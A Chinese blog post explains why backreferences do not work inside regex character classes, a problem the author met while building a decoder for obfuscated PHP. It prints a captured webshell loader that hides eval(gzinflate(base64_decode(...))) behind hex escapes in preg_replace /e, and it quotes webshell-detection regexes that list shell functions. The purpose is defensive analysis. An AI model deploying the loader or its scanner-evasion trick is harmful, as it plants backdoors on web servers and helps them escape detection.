为什么不能在字符组中使用反向引用

有个网友,发一封邮件给我,让我帮看下一段“加密”字符串的解密问题,在线解密的解密不了。代码大约如下:

if (isset($_GET['cnxct']))
{
    $auth_pass = 'cfc4n';
    $color = '#df5';
    $default_action = 'FilesMan';
    $default_use_ajax = true;
    $default_charset = 'Windows-1251';
    preg_replace('/.*/e','\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/ZhofPh+PQMmCJTN2UATKGzc3z87mAvF4ZnEaa4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zYyImGfq818cOo/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a+2mh1OuzA87Nrypk7LbLfN9sYaYoY/UGXb0AlD8p3I9v0rIKpwBd1zTZNDtOKicPUNGlm4brIMGOJxk+lmTaNhB6mh8YMMN0R+4n12YWIOcDP7+WdWHPWeZ9JbUIuKQiOMF9DmyBsoDeXKainkKVZckRWLJswvDNX+/TdbCpKtpOhLRlT0A3BB5Hv+DOYpDAF8FT+8+dA5Pi1Xy+slap8xc8dGiRV8XHBM+DBh3nqhI1PG7g2kFEKr73RGsGBAGk3LAU7LOFVMnZUErsT4TA+ciR9E7nhAs6/Qc0MLlqWOHOtQw5fJwA='\x29\x29\x29\x3B', 
    '.');
    exit();
}

看到代码后,不禁惊讶起来,现在坏人们的想法真猥琐。利用preg_replace函数的e修饰符(e修饰符在php5.5里,被取消了),来执行第二个参数里的内容,而第二个参数里的内容,不是常规的函数组成的字符串,其函数名都是ASCII码十六进制形式。从而避开了基于字符串形式正则匹配的“简易木马扫描器”的扫描。2010年时的在线解密功能,只支持eval gzinflate base64_decode三个函数的任意组合形式的字符串解密,且格式很严格,必须以<?php开头,以?>结尾,不支持嵌套解密。到了2012年,发现有好多网友在陆续使用,并反馈给我。我再次做了改进,支持嵌套解密,编码转换等功能。这次,看到这个加密方式,索性直接写一个支持任意以eval函数执行的合法php字符串解密,且支持同一份代码的多次出现、循环嵌套解密,格式也不用那么严格,只要被解密部分是合法的php代码即可,其他地方,可以有任意字符串,提高易用程度。

方向定了,实现起来,也应该没什么难度,目的也是基于字符串处理,正则匹配php语法函数,提取加密部分,解密,替换到原文本中。所有的难点,就是正则匹配php语法了。我在匹配eval(base64_decode(‘xxxxxxx’))遇到了一个问题。因为不能确定代码使用的是单引号还是双引号,故我打算捕获分组,再反向引用一下,那正则表达式就是(['"]).+?\1,正则捕获的第一个分组里的内容会是,那么\1的反向引用将是,看上去,匹配完成了,但会产生大量回溯,回溯次数取决于中间字符串长度。backtrack
作为性能洁癖的码农,不能接受正则里出现大量无用的回溯,决定使用字符组的脱字符^来对字符取非匹配。那么,表达式就是

([''])[^\1]+\1

regexbuddy的测试结果却是这样:

正则的反向引用

正则的反向引用

正则的反向引用在regexbuddy中调试

正则的反向引用在regexbuddy中调试


如图,调试信息中所示,绿色线条画出的部分,都是正常正确的匹配,表达式(['"])匹配字符串,并且分配到group 1中;表达式最后的\1反向引用,也匹配到了,这个可以在debug截图中得到确认。但红色部分,让我产生了疑惑,表达式[^\1]为何匹配到了字符串1230””’cfc4n(解释一下:+为量词,先匹配,再将转动权交给表达式后的,再去匹配,其发现后面没有字符,那么再回溯到前一位。。一直到匹配到字符),匹配到字符串1230cfc4n倒是正常,但group 1就是[^\1]匹配到””’实在不能理解。暂时改用其他办法实现,比如(['"]).*\1,但性能差,且不精确。或者用环视lookaround(也叫零宽断言)解决([\'"])(?:(?!\1).)+\1

对于这个问题,我困惑很久,在stackoverflow上找到一个相似的案例General approach for (equivalent of) “backreferences within character class”?问题也是跟我类似的问题,解决方案,也是用环视解决,其实,环视的效率,比非贪婪的方式还多一个回溯。但回答者只是给了解决方案,也没说出真正的原因。然后,又看到了另一个相似案例Negating a backreference in Regular Expressions,解决方案也是一样,正则环视解决,回答中,还说了原理:

Instead of a negated character class, you have to use a negative lookahead:

\bvalue\s*=\s*(["'])(?:(?!\1).)*\1
(?:(?!\1).)* consumes one character at a time, after the lookahead has confirmed that the character is not whatever was matched by the capturing group, (["'']). A character class, negated or not, can only match one character at a time. As far as the regex engine knows, \1 could represent any number of characters, and there’s no way to convince it that \1 will only contain ” or ‘ in this case. So you have to go with the more general (and less readable) solution.

但这个原理说的是环视匹配的原理,并没有说“为什么字符组中反向引用匹配的字符串不正确”的真正原因。对于我的好奇心,显然不能轻易放过这个疑问,继续google中搜索,终于在regexbuddy的另一个官网找到了介绍:Parentheses and Backreferences Cannot Be Used Inside Character Classes,刚打开这个页面时,被配色、布局震惊了一下,这跟regexbuddy官网出奇的相似,仔细看了下,才发现这也是他们的网站之一。这里给出了说明:

Round brackets cannot be used inside character classes, at least not as metacharacters. When you put a round bracket in a character class, it is treated as a literal character. So the regex [(a)b] matches a, b, ( and ).

Backreferences also cannot be used inside a character class. The \1 in regex like (a)[\1b] will be interpreted as an octal escape in most regex flavors. So this regex will match an a followed by either \x01 or a b.

这里提到,正则表达式中,不能在字符组中使用反向引用,原因是正则表达式的\1在字符组中[\1],在大多数的正则流派中,会被正则引擎作为八进制转义,实际上的匹配结果将变成\x01。知道这个原因之后,就很好理解为什么之前的表达式[^\1]匹配到‘ ‘ ‘ ‘ ‘了。因为,这里的取非,是对字符\x01的取非,而不是对字符的取非,我之前还天真的以为,取非的字符串是呢。

除了不能在字符组中使用反向引用,还不能使用捕获分组,这里也提到了,正则表达式的元字符括号()在字符组中将被理解为普通的字符(),也就是说,在字符组character class中,不用再转义了,即[()]是合法的表达式,且可以匹配到(或者)。比如文章中给的例子:表达式[(a)b]匹配结果并不是a或者b,如果a匹配到,再将a分配到group 1中,而是可以匹配到ab()四个字符。所以,在字符组中使用反向引用,是不能实现的了。如图:

不能在字符组中使用反向引用

不能在字符组中使用反向引用

最后,解密的程序也写好了,支持eval base64_decode preg_replace gzinflate等各种函数的在线,目前除了自定义函数、字符串不支持解密以外,其他均支持,只要用eval函数执行的代码。跟http://ddecode.com/phpdecoder/相比,我的解密程序不支持变量函数、变量字符串解密,这是缺点。同时,优点是支持一段代码多个eval函数解密,且替换还原到原文。而phpdecoder中,只会保留最后解密的那个eval内代码解密情况,其他的都没了。

其实,基于字符串匹配的解密方式,都肯定存在不严谨、不正确的解密行为,最准确的,莫过于写一个php拓展,劫持eval函数,并且执行被解密代码,使用加密代码内原有变量,来实现最准确,严谨的解密。

PS:如果你对这里的正则表达式的术语有疑惑,请阅读这个PPT《正则表达式》PPT-匹配原理

PPS:后来,无意中看到360网站安全检测的后门查杀代码里的正则的写法

class scan{
	private $directory = '.';
	private $extension = array('php');
	private $_files = array();
	private $filelimit = 5000;
	private $scan_hidden = true;
	private $_self = '';
	private $_regex ='(preg_replace.*\/e|`.*?\$.*?`|\bcreate_function\b|\bpassthru\b|\bshell_exec\b|\bexec\b|\bbase64_decode\b|\bedoced_46esab\b|\beval\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|\bparse_ini_file\b|\bshow_source\b|cmd\.exe|KAdot@ngs\.ru|小组专用大马|提权|木马|PHP\s?反弹|shell\s?加强版|WScript\.shell|PHP\s?Shell|Eval\sPHP\sCode|Udp1-fsockopen|xxddos|Send\sFlow|fsockopen\('(udp|tcp)|SYN\sFlood)';
	private $_shellcode='';
	private $_shellcode_line=array();
	private $_log_array= array();
	private $_log_count=0;
	private $webscan_url='http://safe.webscan.360.cn/webshell/upload';
	private $action='';
	private $taskid=0;
	private $_tmp='';
....
/**
* 2013/09/14 更新 听Rozero提到了PHP-Shell-Detector,我去看了下源码,一看不要紧,立马发现了我的一个错误,我错怪360了
* https://github.com/emposha/PHP-Shell-Detector/blob/master/shelldetect.php  大约121行
*/
  //system: version of shell detector
  private $_version = '1.65';

  //system: regex for detect Suspicious behavior
  private $_regex = '%(preg_replace.*\/e|`.*?\$.*?`|\bcreate_function\b|\bpassthru\b|\bshell_exec\b|\bexec\b|\bbase64_decode\b|\bedoced_46esab\b|\beval\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|\bparse_ini_file\b|\bshow_source\b)%';
//就是这里,这里的正则跟360的前半部分一样。不知道是不是可以认为360借鉴了这个开源项目。
//这块正则是开源项目写的,不是360写的。从cmd.exe开始后面的中文才是360写的。我错怪360了,不该说360产品的这块正则写的渣,我错了,我道歉。
  //system: public key to encrypt file content
  private $_public_key = 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JR2ZNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0R05BRENCaVFLQmdRRDZCNWZaY2NRN2dROS93TitsWWdONUViVU4NClNwK0ZaWjcyR0QvemFrNEtDWkZISEwzOHBYaS96bVFBU1hNNHZEQXJjYllTMUpodERSeTFGVGhNb2dOdzVKck8NClA1VGprL2xDcklJUzVONWVhYUQvK1NLRnFYWXJ4bWpMVVhmb3JIZ25rYUIxQzh4dFdHQXJZWWZWN2lCVm1mRGMNCnJXY3hnbGNXQzEwU241ZDRhd0lEQVFBQg0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tDQo=';

实在说不过去,作为国内一线安全厂商,这正则准确性、严谨性、误报、性能都有较大提升空间,忍不住的唱起“放只乌龟到处爬,放只螃蟹有点Zha,有点Zha”…如果他们不嫌弃的话,可以参考下《如何精确查找PHP WEBSHELL木马?》里的python版的webshell检测的正则,三年前的了,可能有很多东西已经变了。

2013/09/14更新:
我自己开发了一个项目,PHP版本的webshell扫描,基于语法分析的,名字叫 Pecker Scanner,欢迎使用。